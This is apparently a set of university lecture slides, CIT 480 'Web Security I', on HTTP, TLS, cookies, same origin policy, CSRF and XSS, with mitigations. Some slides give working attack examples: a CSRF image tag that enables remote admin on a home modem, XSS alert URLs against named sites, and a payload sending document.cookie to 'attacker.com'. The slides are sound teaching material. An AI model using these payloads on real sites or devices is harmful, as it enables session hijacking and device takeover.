CIT 480: Securing Computer Systems
CIT 480: Securing Computer
Systems
Web Security I
CIT 480: Securing Computer Systems
Topics
1. HTTP
2. Transport Layer Security (TLS)
3. URLs
4. HTML and the DOM
5. Same Origin Policy
6. Cross-Site Attacks
CIT 480: Securing Computer Systems
Web Transactions
Web Browser
OS
Web Server
Network
CIT 480: Securing Computer Systems
HTTP: HyperText Transfer Protocol
Simple request/respond protocol
– Request methods: GET, POST, HEAD, etc.
– Protocol versions: 1.0, 1.1
Stateless
– Each request independent of previous requests, i.e.
request #2 doesn’t know you authenticated in #1.
– Applications responsible for handling state.
• Multiple state options: cookies, URLs, secret form
parameters, supercookies.
CIT 480: Securing Computer Systems
HTTP Request
GET http://www.google.com/ HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7
Accept: text/html, image/png, */*
Accept-Language: en-us,en;q=0.5
Cookie: rememberme=true; PREF=ID=21039ab4bbc49153:FF=4
Method URL Protocol Version
Headers
Blank Line
No Data for GET method
CIT 480: Securing Computer Systems
HTTP Response
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Server: GWS/2.1
Date: Fri, 13 Oct 2006 03:16:30 GMT
<HTML> ... (page data) ... </HTML>
Protocol Version HTTP Response Code
Headers
Blank
Line
Web Page Data
HTTP Methods
Method Description
GET Retrieve resource located at specified URI.
HEAD Retrieve metadata about resource located at specified URI. Useful for
caches to determine if they need to retrieve an updated resource.
PUT Create or replace resource located at specified URI with resource provided
by client.
DELETE Delete resource located at specified URI.
OPTIONS Return list of HTTP methods that can be used with specified URI.
POST Create a new resource under the specified URI, e.g. adding a new message
in a web forum, adding a comment to a blog post, annotating a photo, etc.
In summary, POST is a way for a client to create a new resource without
knowing its URI; the client just knows the URI of a “parent” or “factory”
resource.
CIT 480: Securing Computer Systems
CIT 480: Securing Computer Systems
Different Security Perspectives
Client Side
• HTTP requests may
reveal private info.
• HTTP responses may
reveal private info.
• HTTP responses may
include malicious code
(Java, ActiveX,
JavaScript)
Server Side
• HTTP requests may contain
malicious input.
• HTTP requests may have
forged authentication.
• HTTP responses may be
intercepted.
Transport Layer Security (TLS)
TLS protocol provides security features for
other protocols, such as HTTP, IMAP, etc.
1. Authentication of server to client.
2. Optional authentication of client to server.
3. Confidentiality of communication.
4. Integrity of communication.
TLS 1.0 was published in 1999.
– SSL 2.0 was first released in 1995 (insecure)
– TLS 1.2 is most recent, defined in 2008.
CIT 480: Securing Computer Systems
Transport Layer Security (TLS)
TLS protocol provides security features for
other protocols, such as HTTP, IMAP, etc.
1. Authentication of server to client.
2. Optional authentication of client to server.
3. Confidentiality of communication.
4. Integrity of communication.
TLS 1.0 was published in 1999.
– SSL 2.0 was first released in 1995 (insecure)
– TLS 1.2 is most recent, defined in 2008.
CIT 480: Securing Computer Systems
TLS Operation
CIT 480: Securing Computer Systems
TLS Handshake
Cipher Suites
1. Key Exchange Algorithm
– Used to exchange session keys for bulk encryption algorithm.
– Examples: RSA, Diffie-Hellmann
2. Bulk Encryption Algorithm
– Used to encrypt message stream.
– Examples: RC4-128, Triple-DES, AES-128, AES-256
3. Message Authentication Code
– MAC is keyed hash function to ensure integrity.
– Based on MD5, SHA-1, or SHA-2, key based on master secret.
4. Pseudorandom Function
– Used to create master secret, a 48-byte secret shared with both
parties. Used to create session keys.
CIT 480: Securing Computer Systems
X.509 Digital Certificates
Certificate contains
– Identity of issuer, who produced certificate.
– Identity of subject.
– Public key of subject.
– Range of dates for which certificate is valid.
– Digital signature from issuer.
Signature means that issuer vouches that
– Public key belongs to subject, e.g.
– You really are connected to example.com.
Client has list of trusted certificate authorities (CAs)
– Client will trust certificate if it is signed by one of those CAs or if
issuer has a certificate that was signed by CA.
CIT 480: Securing Computer Systems
Certificate Authorities
CA is an entity that issues digital certificates.
– Trusted 3rd party that enables public key crypto.
– Hundreds of CAs exist in dozens of countries.
CAs can revoke certificates too
– If certificate improperly issued or private key leaked.
– Certificate Revocation Lists (CRLs).
– Clients should check CRLs before using certificate.
Example certificate authorities
– Symantec (Verisign, Thawte, Geotrust)
– Go Daddy
CIT 480: Securing Computer Systems
Certificate Validation
How does CA know subject is who they claim to be?
– Competition between CAs drove prices low,
– So validation checks became perfunctory.
– Example: Diginotar CA issued certificate for gmail to
someone from Iran in 2011.
Extended Validation (EV) Certificates
– Known procedure verifies legal entity who controls site.
– Guidelines: https://cabforum.org/extended-validation/
– CAs must pass a qualified audit to issue EV certificates.
– Cost is significantly higher.
– Browser UI indicates EV with location bar color.
HTTPS (HTTP over SSL)
HTTPS differences
– Default port is 443.
– Connection: close HTTP header ends session.
– RFC 2818: HTTP over TLS
Encrypts
– URL of requested document
– HTTP headers
– HTTP bodies, including response documents
– All form parameters, as they are either in the URL or
the HTTP body.
CIT 480: Securing Computer Systems
TLS Attacks
Version and renegotiation attacks
– Trick browser into using insecure SSL or cipher version.
Man-in-the-middle attacks
– Sslsniff, but will produce certificate warnings.
– Sslstrip converts https links to http links, so user
communicates in plaintext with middleman.
Certificate attacks
– Trick CA into issuing certificate to wrong person.
– Use crypto weaknesses to create certs for any site.
Implementation attacks
– Heartbleed(2014): OpenSSL memory reading attack.CIT 480: Securing Computer Systems
URL Format
<scheme>://<user.pw>@<host>:<port>/<path>?<qstr>#<frag>
Whitespace (space, tab, ff, etc.) marks end of URL.
@ separates login credentials from hostname.
: separates hostname from optional port number.
? marks beginning of query string.
& separates query parameters.
# separates fragment identifier.
%HH represents character with hex values.
: / ? # [ ] @ delimiters must be URL encoded.
URL Encoding
<proto>://<user:pw>@<host>:<port>/<path>?<qstr>#<frag>
– Query string is set of key-value pairs separated by &
• ?q=cloud&lang=en
– Whitespace marks end of URL
– Special characters must be URL-encoded.
• %HH represents character as hex value, e.g. %20 = space.
• Special characters include whitespace : @ ? / # &
• Any character may be encoded, including proto, path, &c.
– URL encoding is also used in the body of POST requests.
http://user:[email protected]:8001/a%20spaced%20path?l=en#section2
URL Examples
http://example.com/
http://[email protected]/
http://example.com:8080/test/path.html
http://example.com/search?q=foo&l=en
http://example.com/index.html#section2
http://%65xample.%63om/
http://example.com&g=1234@167772161/
CIT 480: Securing Computer Systems
HTTP is a stateless protocol
A stateful protocol allows requests to move the server into a different state, in which a request may produce a different result.
– Example protocols: FTP, SMTP, TCP
– FTP command “get rest.txt” will return a different file when cwd is /public rather than /private.
A stateless protocol treats each request as an independent transaction that is unrelated to any previous request so that communication consists of independent pairs of requests and responses.
– Examples: HTTP, IP
CIT 480: Securing Computer Systems
Handling Statelessness
Store state information directly in the address (URI)
– To access second page in google search for “http”:
– https://encrypted.google.com/webhp? q=http&safe=off&start=10
– Works best for web services.
Store state indirectly in an HTTP header (cookies)
– Set-Cookie header from server creates cookie.
– Client must return Cookie HTTP header with each subsequent request if it wants the server to remember its state.
– Cookie is a pointer to state stored on the server.
– Example: most shopping cart applications.
CIT 480: Securing Computer Systems
HTML
<html>
<head>
<title>This is a title</title>
</head>
<body>
<p class=“only”>Hello world!</p>
<img src=“images/hello.png” />
</body>
</html>
CIT 480: Securing Computer Systems
CIT 480: Securing Computer Systems
HTML Special Characters
< begins a tag
> ends a tag
some browsers will auto-insert matching <
‘ and “ enclosed attributes
optional unless spaces or other meaningful chars.
& begins an HTML entity
entities used to represent special characters.
HTML Entities
Entities can encode any Unicode character.
Reference UCS code point via the notation:
&#nnnn; (decimal) or &#xhhhh; (hexadecimal)
Some common entities have names.
¢ → ¢
Special characters must be encoded as entities:
& → &
< → <
> → >
" → "
' → '
CIT 480: Securing Computer Systems
Character Set Encoding
• Default: ISO-8859-1 (Latin-1)
• Char sets dictate which chars are special
• UTF-8 allows multiple representations
• Force Latin-1 encoding of web page with:
– <META http-equiv=“Content-Type”
content=“text/html; charset=ISO-8859-1”>
HTML Forms
<form> tag
– action=URL destination
for form input.
– method=get sends input as
query string parameters
– method=post sends input
as data in POST method
<input> tag
– name=name of input.
– type attribute specifies
checkbox, radio, text, etc.
CIT 480: Securing Computer Systems
CIT 480: Securing Computer Systems
HTTP POST Request
POST http://www.example.com/ HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7
Accept: text/html, image/png, */*
Accept-Language: en-us,en;q=0.5
Method URL Protocol Version
Headers
Blank Line
POST data
name=Jane+Doe&sex=female&color=green&over6feet=true&over200pounds=false&athleticability=NA
CIT 480: Securing Computer Systems
Hidden Fields
<input type=“hidden” name=“user”
value=“james”>
– Used to propagate data between HTTP requests
since protocol is stateless.
– Clearly visible in HTML source.
– User can modify hidden values since form can be
copied, modified to change hidden fields, then
used to invoke script.
Document Object Model (DOM)
• DOM connects
JavaScript and CSS to
HTML documents.
• JavaScript can read
and modify every
element of HTML.
• Dynamic HTML
(DHTML) = DOM +
JavaScript + CSS.
• Capability used by
threats in cross-site
scripting attacks.
CIT 480: Securing Computer Systems
DHTML vs. Ajax
CIT 480: Securing Computer Systems
CIT 480: Securing Computer Systems
Cookies
Server to Client
Content-type: text/html
Set-Cookie: foo=bar; path=/; expires Fri, 20-Feb-
2014 23:59:00 GMT
Client to Server
Content-type: text/html
Cookie: foo=bar
Cookie Fields
Expires: if specified, cookie may be saved to disk and persist
across sessions. If not, then cookie persists for duration of
session.
Domain: allows cookie to be sent to servers other than the
hostname that sent the Set-Cookie header.
Path: ensures that cookie is only returned when URL path
component is under path.
Secure: prevents cookie from being sent over non-encrypted
connections.
HttpOnly: removes ability to read cookie via
document.cookie API in JavaScript to protect against XSS.
CIT 480: Securing Computer Systems
Cookie Security Policy
Domain parameter limits which servers are sent
cookie in complex ways (see table).
Path parameter limits which paths are sent cookies,
but JavaScript from any path can read cookies.
CIT 480: Securing Computer Systems
Same Origin Policy (SOP)
Goal: prevent web pages of different origins from
accessing each others’ data, such as cookies, hidden
fields, web local storage, etc.
Origin = scheme, hostname, and port.
Example: evil.com should not be able to access
cookies from example.com.
CIT 480: Securing Computer Systems
Is SOP appropriate?
Sometimes SOP is too permissive:
– If hosting user web pages via ~name URLs,
– http://nku.edu/~waldenj and
– http://nku.edu/~smithj
– share the same origin and thus no protection.
Sometimes SOP is too restrictive:
– Web servers in subdomains for different purposes.
– http://auth.example.com/ and
– http://payments.example.com/
– have different origins and cannot share cookies.
CIT 480: Securing Computer Systems
Cross-Site Attacks
Target users of application.
– Use application feature to reach other users of
application, bypassing same origin policy.
– Obtain assets of individual users rather than
assets of entire application.
One of the most common types of attack.
– Cross-Site Request Forgery (CSRF)
– Cross-Site Scripting (XSS)
CIT 480: Securing Computer Systems
Cross-Site Request Forgery
A confused deputy attack.
– Exploits trust that application has with authentication sessions.
Attack scenario:
– User authenticates to web application.
– User browses to another site containing a malicious CSRF attack link to web app.
• iframe, img, link, bgsound, etc.
– Browser accesses web app with cached credentials, performing whatever action specified by the link.
Example: DSL Modem Attack
Home network devices are administered via web apps.
– Standard local IPs.
Attacker inserts 1-pixel imgtag on page.
– src is URL of form submission, giving remote admin.
No password needed.
– Software owner assumed device on trusted local network.
– Of course, browser is on the local network too.
<img
src="http://192.168.1.254/Forms/remoteRES_1?NSS_RemotePas
sword=blehblah&NSS_EnableWANAdminAccessRES=on&time
outDisable=0&Enable=Enable" alt="" width="1" height="1" />
CIT 480: Securing Computer Systems
Mitigating CSRF
Require POST for data modifications, but
– Many frameworks automatically fetch both types of parameters or convert one to other.
– Hidden POST requests can be created with scripts.
Check referer header.
– But users can block or forge referer header, so it cannot be relied on for everyone.
Use nonces.
– Random token inserted as hidden parameter, and thus submitted with form.
– But XSS can read form, so a combined XSS + CSRF attack can bypass this defense.
CIT 480: Securing Computer Systems
Mitigating CSRF
Re-authenticate for high value transactions.
– Use out of band authentication if possible.
Expire session IDs quickly.
– But there will always be some time period in which
a CSRF attack will work.
Automate defenses with tools.
– CSRFGuard to insert nonces.
– CSRFTester to verify application.
CIT 480: Securing Computer Systems
Cross-Site Scripting (XSS)
Attacker causes a legitimate web server to send
user executable content (Javascript, Flash
ActiveScript) of attacker’s choosing.
Impact of XSS
– Account hijacking.
– Browser hijacking (malware hosting.)
– Information leakage (stored form values, etc.)
– Virtual defacement.
CIT 480: Securing Computer Systems
XSS Example
Web application sends browser to an error
page after user clicks submit.
https://example.com/error.php?message=So
rry%2C+an +error+occurred
CIT 480: Securing Computer Systems
XSS Example
The error message is “reflected” back from
the Web server to the client in a web page.
CIT 480: Securing Computer Systems
XSS Example
We can replace the error with JavaScript
https://example.com/error.php?message=<scri
pt>alert(‘xss’);</script>
CIT 480: Securing Computer Systems
Exploiting the Example
1. User logins in and is issued a cookie
2. Attacker feed the URL to user
https://example.com/error.php?message=<scri
pt>var+i=new+Image;+i.src=“http://attack
er.com/”%2bdocument.cookie;</script>
CIT 480: Securing Computer Systems
Why does XSS Work?
Same-Origin Policy
– Browser only allows Javascript from site X to
access cookies and other data from site X.
– Attacker needs to make attack come from site X.
Vulnerable Server Program
– Any program that returns user input without
filtering out dangerous code.
CIT 480: Securing Computer Systems
Reflected XSS
Attack Scenario
– User clicks on link.
– Injected script returned by one-time message
from vulnerable site.
– User browser executes injected code.
Limitations
– Non-persistent. Only works when user clicks.
– Most common type of XSS (~75%).
CIT 480: Securing Computer Systems
Anatomy of an XSS Attack
Web Server
3. XSS Attack
AttackerUser
4. User clicks on XSS link.
7. Browser runs
injected code.
Evil site saves ID.
CIT 480: Securing Computer Systems
XSS URL Examples
http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script>
http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script>
http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1
http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=_%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
CIT 480: Securing Computer Systems
Stored XSS
Injected script stored in
– Post or comment.
– Review.
– Uploaded file.
User views page with injected script.
– Malicious action is taken while user is logged into
site where malware found.
– Not technically cross-site.
Attack persists until injected code deleted.
CIT 480: Securing Computer Systems
Browser Exploitation Framework
BeEF hooks browsers via XSS exploit
– Can use as stored or reflected XSS.
– Hooked browsers are bots controlled by BeEF.
Exploitation modules run on hooked browsers to
– View browsing history.
– Identify authenticated sessions.
– Phishing and other social engineering attacks.
– Port scans of network browser is running on.
– Reverse proxy into network browser is running on.
– Use Metasploit.
CIT 480: Securing Computer Systems
BeEF Screenshot
CIT 480: Securing Computer Systems
Mitigating XSS
1. Disallow HTML input
2. Allow only safe HTML tags
3. Encode outputReplace HTML special characters in output
ex: replace < with < and > with >
also replace (, ), #, &
4. Tagged cookiesInclude IP address in cookie and only allow access to original IP address that cookie was created for.
CIT 480: Securing Computer Systems
Key Points
1. Key features of the web
– Understand features and risks of HTTP, HTML, DOM
– Both client and server must validate input.
2. HTTPS = HTTP + TLS
– Authentication of server via certificate.
– Confidentiality + integrity of data in transit.
– Input-based attacks like XSS can be delivered via SSL.
3. Same Origin Policy (SOP)
– Prevents web sites from accessing data from other sites.
– Protects cookies, headers, form parameters, etc.
4. Cross-site Attacks
– Bypass SOP by tricking vulnerable web application to get browser
to run malicious code sent by attacker.
References
1. Andreu, Professional Penetration Testing for Web Applications, Wrox, 2006.
2. Goodrich and Tammasia, Introduction to Computer Security, Pearson, 2011.
3. Joel Scambray, Mike Shema, Caleb Sima, Hacking Exposed Web Applications, Second Edition, McGraw-Hill, 2006.
4. Sarkar and Fitzgerald, Attacks on SSL: A comprehensive study of BEAST, CRIME, TIME, BREACH, LUCKY 13, and RC4 biases, https://www.isecpartners.com/media/106031/ssl_attacks_survey.pdf, 2013.
5. Stallings, Cryptography and Network Security: Principles and Practice, 6th ed, Prentice Hall, 2013.
6. Stuttart and Pinto, The Web Application Hacker’s Handbook, 2nd ed, Wiley, 2011.
7. Michal Zalewski, The Tangled Web: A Guide to Securing Modern Web Applications, No Starch Press, 2012.
CIT 480: Securing Computer Systems
Top Related